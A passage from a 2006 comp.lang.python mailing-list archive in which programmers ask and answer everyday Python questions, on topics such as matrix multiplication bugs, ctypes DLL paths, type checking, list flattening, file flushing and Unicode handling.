> Floating point calcuations are subject to rounding. Sometimes it
> shows.

And Python is showing it, rather than hiding it. It certainly isn't
doing any rounding unless asked to do so.

-- 
 \         Legionnaire: "We have their leader captive!"  C?r: "Is he |
  `\    bound?"  Legionnaire: "Of his health I know not, sir."  -- The |
_o__)                    Goon Show, _The Histories Of Pliny The Elder_ |
Ben Finney



From reivax85 at gmail.com  Wed Oct 18 07:17:29 2006
From: reivax85 at gmail.com (Sssasss)
Date: 18 Oct 2006 04:17:29 -0700
Subject: matrix Multiplication
Message-ID: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>

hi evrybody!

I wan't to multiply two square matrixes, and i don't understand why it
doesn't work.
Could you explain me?

def multmat(A,B):
    "A*B"
    if len(A)!=len(B): return "error"
    D=[]
    C=[]
    for i in range(len(A)): D.append(0)
    for i in range(len(A)): C.append(D)
    for i in range(len(A)):
        for j in range(len(A)):
            for k in range(len(A)):
                C[i][j]+=A[i][k]*B[k][j]
		print C[i][j]
	print C[i]
    return C

when i use it on :
>>> A=[[2,3,4],[5,8,6],[4,5,7]]
>>> B=[[1,0,0],[0,1,0],[0,0,1]]

I get :
2
2
2
0
3
3
0
0
4
[2, 3, 4]
7
7
7
3
11
11
4
4
10
[7, 11, 10]
11
11
11
11
16
16
10
10
17
[11, 16, 17]
[[11, 16, 17], [11, 16, 17], [11, 16, 17]]

thank you



From blair.houghton at gmail.com  Sun Oct  8 20:31:08 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 8 Oct 2006 17:31:08 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <lpwVg.20012$Ij.19245@newssvr14.news.prodigy.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
	<eg5j9c$g62$1@panix3.panix.com>
	<lpwVg.20012$Ij.19245@newssvr14.news.prodigy.com>
Message-ID: <1160353868.451644.224910@e3g2000cwe.googlegroups.com>


Bryan Olson wrote:
> Aahz wrote:
> > The problem is the network effect.  In this case, what Google has that
> > can't be replicated is the history of posts.
>
> There's no magic there. Get them the same way Google and
> Dejanews got them, plus you might scrape Google, from some
> locality with favorable laws.

You can do it in America, as long as you don't use their value-added
formatting or data.

Hence, stripping their headers from every message, and un-framing
the messages from their bins.

The original data, with its owner-copyrighted,
revokably-licensed-by-default
attributes, can be recovered.

But some messages can't be seen because their owners already
asked Google not to display them.  They're still in the archive:
Google has as much right as anyone to keep what you sent them.
They just don't have the right to display them next to their ads if
you revoke their license.  But missing messages are comparatively
rare.

--Blair



From jan.bakuwel at int.greenpeace.org  Fri Oct 13 12:43:09 2006
From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel)
Date: Fri, 13 Oct 2006 18:43:09 +0200
Subject: IDE
In-Reply-To: <mailman.461.1160757081.11739.python-list@python.org>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
	<mailman.461.1160757081.11739.python-list@python.org>
Message-ID: <12ivggt86e3js24@corp.supernews.com>

John Purser wrote:
> On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote:
>> What is the better IDE software for python programming?
>>
>> many thanks
>>
>> joe 
> 
> Joe,
> 
> Find the best Python programmer and ask him/her.
> 
> John Purser

I may be the worst Python programmer (since Python is new for me)... but
I have a lot of experience with IDEs and just looked into Python IDEs.

My opinion: Eclipse is free but rather complex; WingIDE is commercial
software but well worth the few $ - at least for someone like myself.

cheers,
Jan


From pandyacus.xspam at xspam.sbcglobal.net  Wed Oct 25 07:39:11 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Wed, 25 Oct 2006 11:39:11 GMT
Subject: Ctypes Error: Why can't it find the DLL.
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
	<1161764706.074300.124260@i42g2000cwa.googlegroups.com>
Message-ID: <8764e8tyjk.fsf@localhost.localdomain>

"Jon Clements" <joncle at googlemail.com> writes:

> Mudcat wrote:
> 
> 
> > So then I use the find_library function, and it finds it:
> >
> > >>> find_library('arapi51.dll')
> > 'C:\\WINNT\\system32\\arapi51.dll'
> >
> 
> Notice it's escaped the '\' character.
> 
> > At that point I try to use the LoadLibrary function, but it still can't
> > find it:
> >
> > >>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll')
> > Traceback (most recent call last):
> >   File "<interactive input>", line 1, in ?
> >   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in
> > LoadLibrary
> >     return self._dlltype(name)
> >   File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in
> > __init__
> >     self._handle = _dlopen(self._name, mode)
> > WindowsError: [Errno 126] The specified module could not be found
> >
> > What am I doing wrong? [snip]
> 
> You need to use either
> windll.LoadLibrary(r'c:\winnt\system32\arapi51.dll') or escape the \'s
> as the find_library function did. You're getting caught out by \a which
> is the alert/bell character. \w and \s aren't valid escape sequences so
> you get away with them. I'm guessing it's worked before because you've
> been lucky.
> 
> Works fine!:
> >>> 'C:\winnt\system32\smtpctrs.dll'
> 'C:\\winnt\\system32\\smtpctrs.dll'
> 
> Uh oh, escaped:
> >>> 'C:\winnt\system32\arapi51.dll'
> 'C:\\winnt\\system32\x07rapi51.dll'
I wondered about it, but that would not explain why it fails in the first case
- perhaps the OP now knows what happened. Interestingly I get a different
error with the distribution binary for 2.5 - I get "Error 22" instead of "Errno
126", but the message text was same, so I assumed this was from a different 
version and something had changed about how the errno is reported. 

However, I checked the windows error codes and 126 seems to be the correct
error. The error code talks about bad command and the corresponding message
text reads "The device does not recognize the command."

-Chetan

> 
> Jon.


From onurb at xiludom.gro  Wed Oct 11 07:09:18 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 13:09:18 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <mailman.296.1160558036.11739.python-list@python.org>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>	<egic47$irg$1@sea.gmane.org>
	<mailman.296.1160558036.11739.python-list@python.org>
Message-ID: <452cd0df$0$11417$426a74cc@news.free.fr>

Theerasak Photha wrote:
> On 10/11/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> 
>> can be a lot better than a 30-level traceback that ends with a line
>> looking something like
>>
>>      fnut.index(gah)
> 
> Despite long experience with Perl, I am not a big follower of the
> "goose_level: blah" method of error reporting...
> 
>> also, checking for __method__ is, in general, not the right way to check
>> if an object implements a given interface.
> 
> I had a vague feeling it might not be a Right Thing(tm).
> <flame-proof-underwear>I kind of miss
> responds_to?</flame-proof-underwear>

getattr(obj, name[,default]) is your friend. Remember that methods are
just callable attributes.

>> so if you can, try doing the operation instead, and catch error (if you
>> really need to check first, use an idempotent operation, if available).
> 
> I'll do that as soon as my green noggin figures out what 'idempotent'
> means.

idempotent -> no side effects.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From pavlovevidence at gmail.com  Fri Oct 20 11:27:17 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 20 Oct 2006 08:27:17 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.760.1161275432.11739.python-list@python.org>
References: <mailman.760.1161275432.11739.python-list@python.org>
Message-ID: <1161358037.736440.24010@h48g2000cwc.googlegroups.com>


Demel, Jeff wrote:
> I've been programming professionally for over 10 years, and have never
> once needed to reverse a string.  Maybe it's a lack of imagination on my
> part, but I can't think of a single instance this might be necessary.

Say you're using a function from a third-party library that finds the
first character in a string that meets some requirement.  You need to
find the last such character.


Carl



From wescpy at gmail.com  Mon Oct 30 13:04:30 2006
From: wescpy at gmail.com (wesley chun)
Date: Mon, 30 Oct 2006 10:04:30 -0800
Subject: Observation on "Core Python Programming"
Message-ID: <78b3a9580610301004h3ad79fb3r99fe675c63bda7f0@mail.gmail.com>

(warning: LONG reply)

thanks to those above for the kind remarks.  tackling comments
and questions, not quite in chronological order.  :-)


> Who would you say the book is aimed at? Advanced programmers?

this book is targeted towards technical professionals already
literate in another high-level language who wants to pick up
Python as quickly as possible.  it is not a topical coverage
of a programming language's features.  you know how after
learning a new language, it takes a few months to really "feel
comfortable" enough to *not* pick up a book in order to commence
writing code?  my goal is to reduce that time period while
provide the reader a comprehensive understanding of how the
standard types work, esp. in their relationship to Python's
memory model.  it is my belief that a solid foundation here
will reduce or eliminate any potential bugs you would've
written had you read a more conventional introductory text.


> What really jumped out at me is an interesting feature about how
> it sequences its topics, namely, (user-defined) functions are not
> introduced until chapter 11, fully 400 pages into the book.

i guess i found this post quite interesting because there is
such a focus on "what should be introduced when."  the purpose
of chapter 2 (getting started) is to proxy for the standard
"introduction to programming X" book.  if you read it, you
should be able to "get started in Python" immediately. you
have enough info on functions to start coding and probably
don't need var args, decorators, or any of that stuff yet. the
chapter on functions occur later because most of the time, what
we've shown you in "getting started" is enough to, ummm..., get
you started, and that all successive chapters are meant to dive
more deeply into each area.


> seems to confirm the "batteries are included" philosophy of
> Python. Perhaps there is less need to learn how to roll your
> own batteries as soon as possible.

this is definitely one of the hallmarks of the language. the
current user base already knows this... it's just more difficult
to get this out there to the general programming populus, esp.
when there are already so many languages starting with "P".  :-)


> The revenge of lambdas. Will they stay or will they go?"  ;-)

they will stay.  ;-)


> am interested in seeing the extend to which Python is genuinely
> "multi-paradigm" - able to blend the functional and imperative
> (and OO) paradigms together.

this comes from guido himself.  he "wants you to be able to see
the forest through the trees."  i see Python as a "greatest hits"
of many computer programming languages.  for our benefit, he's
given us the best stuff.


> I cant' exactly figure out why yet, but he has a way of explaining
> something, like, say, decorators, that in minimal words elucidates
> for me the intent behind why they are useful. That helps me
> understand how they work.

"Python fits your brain." (bruce eckel) i don't see why python
should have a monopoly on your brain.  i want me share too.  ;-)
the thing that makes writing a pleasurable is when the language
has so much to offer.  i use this book in teaching my python
courses, and the book mirrors my lecturing style.  i suppose that
rather than a dry college textbook, i'd rather write in a way as
if i was having a conversation with you, or if you were actually
sitting there attending one of my courses.  readers (as well as
course attendees) have remarked how questions they may come up
with as they are learning a topic are answered in the next section
or chapter (or 3-4 presentation slides) as the case may be.


> The second edition site doesn't give a sample chapter (but
> does give the complete preface)

ahhh, the secret here is that you need to look in the right place.
"prentice hall"s web page doesn't have it, but PHPTR's does, even
if they are the same publishing house.  for some reason, we've got
the featured book of the month!!  just go to http://phptr.com and
click the book's link there. you'll find:

- book's description
- table of contents
- preface
- sample chapter (getting started, chapter 2!)
- index

the last three are in PDF format.  if for some reason, october
ends and it's gone from the front page, here is a direct link:

http://phptr.com/title/0132269937

thanks to everyone for their support, esp. my excellent technical
reviewers for keeping me honest!  please send comments, suggestions,
corrections, and other feedback to me. i am happy to hear about any
issues you find in the book -- everything.  it doesn't matter if it
is the smallest grammatical edit, errors in the code, or just plain
wrong or misleading information.  don't believe everything you read!
(sometimes writing at 2, 3, and 4a in the morning does something to
your writing when you're trying to tackle a publisher's deadlines.)
keep checking the book's errata page at http://corepython.com
all book correspondence should go to corepython at yahoo dot com.

cheers!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From chtaylo3 at gmail.com  Wed Oct 18 12:11:37 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Wed, 18 Oct 2006 12:11:37 -0400
Subject: Install from source on a x86_64 machine
Message-ID: <2590773a0610180911m1a8f9105g8ccd06e94a853585@mail.gmail.com>

Hello all,

Being relatively new to linux I'm a little confused about what options
I need to use to build python from source.

Currently, I have python installed as part of the inital RHEL4 load
located at /usr/bin/Python and /usr/bin/Python2.3 .  Some of the files
are located in /usr/lib64/Python2.3 and in /usr/lib/Python2.3 .
Please let me know if you need dir lsitings.

I'm trying to compile from source and plan on using the
--enable-unicode=ucs4 option for the configure script due to some RHEL
messing around with Tcl/Tk.

*** How do I get make altinstall to put the appropriate files in
/usr/lib64/Python2.4 and /usr/lib/Python2.4 respectively ? ***

Respectfully,
Christopher Taylor


From diffuser78 at gmail.com  Fri Oct  6 09:03:46 2006
From: diffuser78 at gmail.com (diffuser78 at gmail.com)
Date: 6 Oct 2006 06:03:46 -0700
Subject: Graph Theory
In-Reply-To: <8agVg.10235$e66.9444@newssvr13.news.prodigy.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<8agVg.10235$e66.9444@newssvr13.news.prodigy.com>
Message-ID: <1160139826.557843.233440@m73g2000cwd.googlegroups.com>

Thanks for all your responses.



From claird at lairds.us  Wed Oct  4 16:30:05 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 20:30:05 +0000
Subject: Find out the name of a variable passed as an argument
References: <4524093C.6090707@arcor.de>
	<mailman.1288.1159990437.10491.python-list@python.org>
Message-ID: <d7idv3-vvk.ln1@lairds.us>

In article <mailman.1288.1159990437.10491.python-list at python.org>,
Fredrik Lundh  <fredrik at pythonware.com> wrote:
>Andreas Huesgen wrote:
>
>> is there a way to receive the name of an object passed to a function 
>> from within the function.
>
>objects don't have names, so in general, you cannot do that.  see:
>
>http://pyfaq.infogami.com/how-can-my-code-discover-the-name-of-an-object
			.
			.
			.
Note, though, the slight miscalibration of the Python Time Machine, for
<URL: http://groups.google.com/group/comp.lang.python/msg/696a89b0b4e085b3 >
(see the top of the content) appeared about eighteen hours before Mr. Huesgen
asked his question.


From roger.miller at nova-sol.com  Mon Oct  9 16:06:46 2006
From: roger.miller at nova-sol.com (Roger Miller)
Date: 9 Oct 2006 13:06:46 -0700
Subject: pythonw documentation?
Message-ID: <1160424406.457796.312970@c28g2000cwb.googlegroups.com>

I was going to ask how to a program can tell whether it was started by
python.exe or pythonw.exe, but after some experimentation I noticed
that sys.stdin.fileno() is -1 in the latter case.

However on a more general note, the only references to pythonw that I
could find in the Python 2.5 documentation are in the Macintosh
section. Have I overlooked something, or is this a deficiency that
should be addressed?



From dieter at handshake.de  Tue Oct  3 14:53:14 2006
From: dieter at handshake.de (Dieter Maurer)
Date: 03 Oct 2006 20:53:14 +0200
Subject: Survival of the fittest
References: <4519bcf6$0$8000$c83e3ef6@nn1-read.tele2.net>
	<pan.2006.09.27.03.06.55.347276@comcast.net>
	<x7wt7niup6.fsf@handshake.de>
	<3kZSg.4025$o71.2439@newsread3.news.pas.earthlink.net>
Message-ID: <x7odstp6xx.fsf@handshake.de>

Dennis Lee Bieber <wlfraed at ix.netcom.com> writes on Thu, 28 Sep 2006 23:57:51 GMT:
> On 28 Sep 2006 22:48:21 +0200, Dieter Maurer <dieter at handshake.de>
> declaimed the following in comp.lang.python:
> 
> > We learn: a C/C++ implementation can in some cases be drastically
> > more efficient than a Python one.
> >
> 	Did we?
> 
> 	When did someone build a C/C++ compiler that generates bytecodes for
> the Python virtual machine interpreter?
> 
> 	What I've learned from this tale is that a C/C++ implementation --
> compiling to native hardware opcodes -- can run faster than an
> implementation compiled to interpreted Python bytecodes... No idea as to
> "efficiency" of the implementations themselves <G>

I would be really surprised if an optimizing compiler (e.g. a just
in time compiler) would have found the optimations I implemented.

You may look at the two implementations: They are
"IncrementalSearch" (Python) and "IncrementalSearch2" (C), respectively, on

  <http://www.dieter.handshake.de/pyprojects/zope>


The Python implementation worked with arbitrary trees,
the C implementation needs quite different code for integer trees
and and for arbitrary trees and only for integer trees, it can
gain the two orders of magnitude in speed.

The optimizing compiler would need to recognize that it can
drastically optimize if *ALL* keys in a tree are integer
and would need to efficiently detect for a given tree
that it satisfies this condition.
It would lose immediately, when it tried to verify the
a tree has only integer keys (as this takes linear time while
most operations are sub-linear).


--
Dieter


From larry.bates at websafe.com  Mon Oct 30 16:43:33 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Mon, 30 Oct 2006 15:43:33 -0600
Subject: Python windows interactive.
In-Reply-To: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
Message-ID: <45467205.3000302@websafe.com>

notejam wrote:
> I am trying to get started with a interactive version of Python for
> windows and need some help.
> I have played with the tutorial, and now want to write a program.
> 
> In basic language, I could write something like
> 10 print "hello"
> 20 print "Jim"
> 
> and if I run it I would get
> hello
> Jim
> 
> How do I do sometihing simple like that in python?
> How do I enter line numbers, or if none, what do I do.
> Can the interpreter load a text file with my program in it?
> How do I list a program or the parts of a program I am interested in
> looking at?
> 
> How do I run a python program?
> 
Start with the tutorial here:

http://docs.python.org/tut/tut.html

Your program in python would be:

print "hello"
print "jim"

You don't have line numbers in Python

Yes the interpreter can load a text file with your program.
A good "beginners" version of Python for windows is:

http://www.activestate.com/Products/ActivePython/?tn=1

It has an easy to use interpreter window with both your
program and interactive prompt open on the screen.

To run a program you click run icon.  To run outside the
interpreter you type python programname.py

-Larry


From rrr at ronadam.com  Tue Oct 17 12:42:52 2006
From: rrr at ronadam.com (Ron Adam)
Date: Tue, 17 Oct 2006 11:42:52 -0500
Subject: Need a strange sort method...
In-Reply-To: <gYQYg.6629$5i7.1593@newsreading01.news.tds.net>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.589.1161025470.11739.python-list@python.org>
	<gYQYg.6629$5i7.1593@newsreading01.news.tds.net>
Message-ID: <FN7Zg.6655$fl.54@dukeread08>

Neil Cerutti wrote:
> On 2006-10-16, Tim Chase <python.list at tim.thechases.com> wrote:
>> If you need it in a flat list, rather than as a list of
>> chunk_size lists (which are handy for iterating over in many
>> cases), there are ways of obtaining it, such as the hackish
>>
>>>>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>>
>> There are likely good recipes for flattening a list.  I just
>> happen not to have any at my fingertips.
> 
> Actually, there isn't a good recipe in Python for flattening a
> list. They all come out tasting like Circus Peanuts (Turkish
> Delight for you non-Yanks).
> 


Here's two that I came up with.  They are both very fast compared to anything 
else I've seen.  Maybe they won't taste so much like Peanuts.   :-)


def flatten(L):
     """ Flatten a list in place.
     """
     i = 0
     while i < len(L):
         while type(L[i]) is list:
             L[i:i+1] = L[i]
         i += 1
     return L

def sflatten(sequence):
     """ Return a flattened sequence as a list.
     """
     def iterinner(seq):
         for s in seq:
             if hasattr(s, '__iter__'):
                 for i in iterinner(s):
                     yield i
             else:
                 yield s
     return list(iterinner(sequence))

Cheers,
    Ron Adam


From steve at holdenweb.com  Sun Oct  8 06:44:18 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 08 Oct 2006 11:44:18 +0100
Subject: operator overloading + - / * = etc...
In-Reply-To: <452820C1.5020607@tim.thechases.com>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com>
Message-ID: <egakob$76a$2@sea.gmane.org>

Tim Chase wrote:
>>>Can these operators be overloaded?
>>
>>Yes.
> 
> 
> With the caveat of the "=" mentioned in the subject-line (being 
> different from "==")...I haven't found any way to override 
> assignment in the general case.  There might be some oddball way 
> to do it via property() but AFAIK, this only applies to 
> properties of objects, not top-level names/variables.  I'd love 
> to know if there's some workaround for this though...
> 
That's because assignment isn't an operator - that's why (for example)

     print x = 33

would be a syntax error. This is a deliberate design decision about 
which, history shows, there is little use complaining.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From horpner at yahoo.com  Thu Oct 19 14:27:23 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 20:27:23 +0200
Subject: comparing Unicode and string
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
	<1161281095.174018.223790@f16g2000cwb.googlegroups.com>
Message-ID: <slrnejfgts.tg.horpner@FIAD06.norwich.edu>

On 2006-10-19, luc.saffre at gmail.com <luc.saffre at gmail.com> wrote:
> Suggestion: shouldn't an error raise already when I try to
> assign s2?

There's been discussion on pydev about changing this, but for now
I believe a str is a sequence of bytes in Python, rather than a
string of characters. My current project (an implementation of
the Glk API in Python) would be more troublesome to write if I
had to store all my latin-1 character strings as lists or arrays
of bytes.

-- 
Neil Cerutti


From fredrik at pythonware.com  Fri Oct 20 04:59:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 10:59:22 +0200
Subject: Unicode support in python
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
Message-ID: <eha35a$c8c$1@sea.gmane.org>

"sonald" wrote:

> I need to pass russian text into python and validate the same.
> Can u plz guide me on how to make my existing code support the
> russian  text.
>
> Is there any module that can be used for unicode support in python?

Python has built-in Unicode support (which you would probably have noticed
if you'd looked "Unicode" up in the documentation index).  for a list of tutorials
and other documentation, see

    http://www.google.com/search?q=python+unicode

</F> 





From cmacn024 at uottawa.ca  Tue Oct 10 08:50:28 2006
From: cmacn024 at uottawa.ca (cmacn024 at uottawa.ca)
Date: 10 Oct 2006 05:50:28 -0700
Subject: Using Gnutar to remove a list of files
In-Reply-To: <mailman.206.1160483977.11739.python-list@python.org>
References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com>
	<mailman.206.1160483977.11739.python-list@python.org>
Message-ID: <1160484628.771169.20770@i42g2000cwa.googlegroups.com>

Yeah, I got it working with tarfile.  Thanks!



From tjreedy at udel.edu  Sun Oct  8 23:07:23 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 8 Oct 2006 23:07:23 -0400
Subject: Python license question
References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>
	<1f7befae0610081826o235e7ecfxffec8ea76cc71649@mail.gmail.com>
Message-ID: <egcedb$tq5$1@sea.gmane.org>


"Tim Peters" <tim.peters at gmail.com> wrote in message 
news:1f7befae0610081826o235e7ecfxffec8ea76cc71649 at mail.gmail.com...
> I'm not a lawyer, so can't give legal advice.  I can explain intent,
> speaking as a Director of the Python Software Foundation.

This strikes me as an excellent reply, which would be worth adding to the 
site as a FAQ (possilby after running it by PSF's lawyer).  I am sure the 
OP is not the first with such questions.

tjr





From ak at silmarill.org  Mon Oct  2 14:54:54 2006
From: ak at silmarill.org (Rainy)
Date: 2 Oct 2006 11:54:54 -0700
Subject: Problem with .next() method adding junk characters.
In-Reply-To: <xw8Ug.1381$5o5.998@tornado.texas.rr.com>
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
	<mailman.1076.1159776001.10491.python-list@python.org>
	<xw8Ug.1381$5o5.998@tornado.texas.rr.com>
Message-ID: <1159815294.457908.46190@e3g2000cwe.googlegroups.com>


Paul McGuire wrote:
> "Fredrik Lundh" <fredrik at pythonware.com> wrote in message
> news:mailman.1076.1159776001.10491.python-list at python.org...
> > "Rainy" <ak at silmarill.org> wrote:
> >
> >> I'm just curious as to what's happening. I understand that you're not
> >> supposed to call .next on a file open for writing. But I don't know why
> >> and how it does what happened here; besides, I've seen the same thing
> >> happen before when I was doing something else with file
> >> open/write/close, but I don't remember the specifics.
> >
> > C's stdio library require you to call "flush" when switching between
> > reading and
> > writing; if you don't, the result is undefined.
> >
> > </F>
> >
>
> Sure enough, following the OP's original sequence, with an intervening flush
> between the writes and next, leaves the file in the expected state:
>
> >>> f = file("xyzzy.dat","w")
> >>> f.write("1\n")
> >>> f.write("2\n")
> >>> f.write("3\n")
> >>> f.flush()
> >>> f.next()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> IOError: [Errno 9] Bad file descriptor
> >>> f.close()
> >>> f = file("xyzzy.dat")
> >>> f.next()
> '1\n'
> >>> f.next()
> '2\n'
> >>> f.next()
> '3\n'
> >>> f.next()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> StopIteration
> >>>
>
> I would guess then that the likely extent of any fix to this "bug" would be
> documentation to the effect of Fredrik's last comment above.
> 
> -- Paul

Thanks.. I get it now. Should I close the bug report then?



From sjmachin at lexicon.net  Wed Oct 11 01:55:39 2006
From: sjmachin at lexicon.net (John Machin)
Date: 10 Oct 2006 22:55:39 -0700
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <mailman.259.1160543174.11739.python-list@python.org>
References: <mailman.259.1160543174.11739.python-list@python.org>
Message-ID: <1160546139.380644.63650@b28g2000cwb.googlegroups.com>

Theerasak Photha wrote:
> I wrote this for someone else to take an object and list of types,
> then check if obj is one of those types, raising an error otherwise.
>
> Is it enough to rely on side effects or absence thereof, or should I
> put return True in here somewhere?
>
> def test_obj_type(obj, types):
>   for type in types:
>     if isinstance(obj, type):
>       break
>     else:
>       raise ValueError, 'object is not in %s' % types
>

Hello Theerasak,

To answer your question: Either (a) return True if OK, False if not OK
or (b) make it like an assertion: raise an exception if not OK, do
nothing if OK. Returning True from the above function would be a rather
strange hybrid.

However:

1. if isinstance(obj, types[1] is true, but isinstance(obj, types[0])
is false, this would appear to raise ValueError. Is the indentation of
the else and raise what you intended?

2. In any case, since Python 2.2, no loop is necessary:

def test_obj_type(obj, types):
    if not isinstance(obj, types):
        raise ValueError, 'object is not in %s' % (types, )

If you don't want the assertion style, your "someone else" can call
isinstance directly.

3. And please notice the change in the raise line; if types is a tuple
of two or more items, the % operator treats it specially. As coded, you
would get this exception:
"TypeError: not all arguments converted during string formatting"

HTH,
John



From fredrik at pythonware.com  Tue Oct 31 06:44:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 12:44:50 +0100
Subject: How can I import a script with an arbitrary name ?
In-Reply-To: <pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>	<mailman.1513.1162252870.11739.python-list@python.org>
	<pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>
Message-ID: <ei7cvg$4mn$1@sea.gmane.org>

Steven D'Aprano wrote:

> The only advantage (or maybe it is a disadvantage?) I can see to your
> function is that it doesn't search the Python path and you can specify an
> absolute file name.

that's the whole point of doing an explicit load, of course.  if you 
think that's a disadvantage, you haven't done enough plugin work...

</F>



From robert.kern at gmail.com  Sun Oct  8 13:18:33 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Sun, 08 Oct 2006 13:18:33 -0400
Subject: missing has_column_major_storage
In-Reply-To: <1160321773.130327.35190@m7g2000cwm.googlegroups.com>
References: <1160321773.130327.35190@m7g2000cwm.googlegroups.com>
Message-ID: <egbbt8$944$1@sea.gmane.org>

Dave wrote:
> hello
>    I have intalled the Enthought Edition 1.0.0, when i successed use
> f2py compile my fortran file to python module. But when I call
> "has_column_major_storage function" in the extended module. it's cannot
> find. "has_column_major_storage function" function have been remove
> from numpy/f2py ?? how can i change the array storage C to Fortran
> type??

Possibly. Please ask on the numpy list, though.

http://www.scipy.org/Mailing_Lists

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fulvio at pc.jaring.my  Fri Oct 20 08:30:06 2006
From: fulvio at pc.jaring.my (Fulvio)
Date: Fri, 20 Oct 2006 20:30:06 +0800
Subject: [OT] a little about regex
In-Reply-To: <mIPZg.6751$fl.6056@dukeread08>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<mailman.743.1161241051.11739.python-list@python.org>
	<mIPZg.6751$fl.6056@dukeread08>
Message-ID: <200610202030.06515.fulvio@pc.jaring.my>

On Friday 20 October 2006 02:40, Ron Adam wrote:
> I see, is this a cleanup script to remove the least wanted items?

Yes. Probably will remain in this mode for a while.
I'm not prepaired to bring out a new algorithm

> Or is it a bit of both? ?Why the score?

As exposed on another post. There should be a way to define a deny/allow with 
some particular exception.( I.e deny all ".com" but not 
myfriend at heppyday.com)

> I would think the allow(keep?) filters would always have priority over deny
> filters.

It's a term which discerning capacity are involved. The previous post got this 
point up. I think to allow all ".uk" (let us say) but not "info.uk" (all 
reference are purely meant as example). Therefore if applying regex denial 
on ".info.uk" surely that doesn't match only ".uk".
>

> I think keeping the allow filter seperate from the deny filter is good.
Agreed with you. Simply I was supposing the regex can do negative matching.

> You might be able to merge the header lines and run the filters across the
> whole header at once instead of each line.

I got into this idea, which is good, I still need a bit of thinking to code 
it. It need to remember what will be the right separator between fields, 
otherwise may cause problems with different charset.

> > Actually I've problem on issuing the command to imap server to flag
> > "Deleted" the message which count as spam. I only know the message
>
> I can't help you here. ?Sorry.

Found it :), by try&fail.

> > BTW whose Fred?
> ? ?
> news://news.cox.net:119/mailman.670.1161155836.11739.python-list at python.org

I can't link foreigner NG than my isp giving me. I'm curious and I'll give it  
a try.

F



From rurpy at yahoo.com  Mon Oct 16 15:07:16 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 16 Oct 2006 12:07:16 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <mailman.584.1161023364.11739.python-list@python.org>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
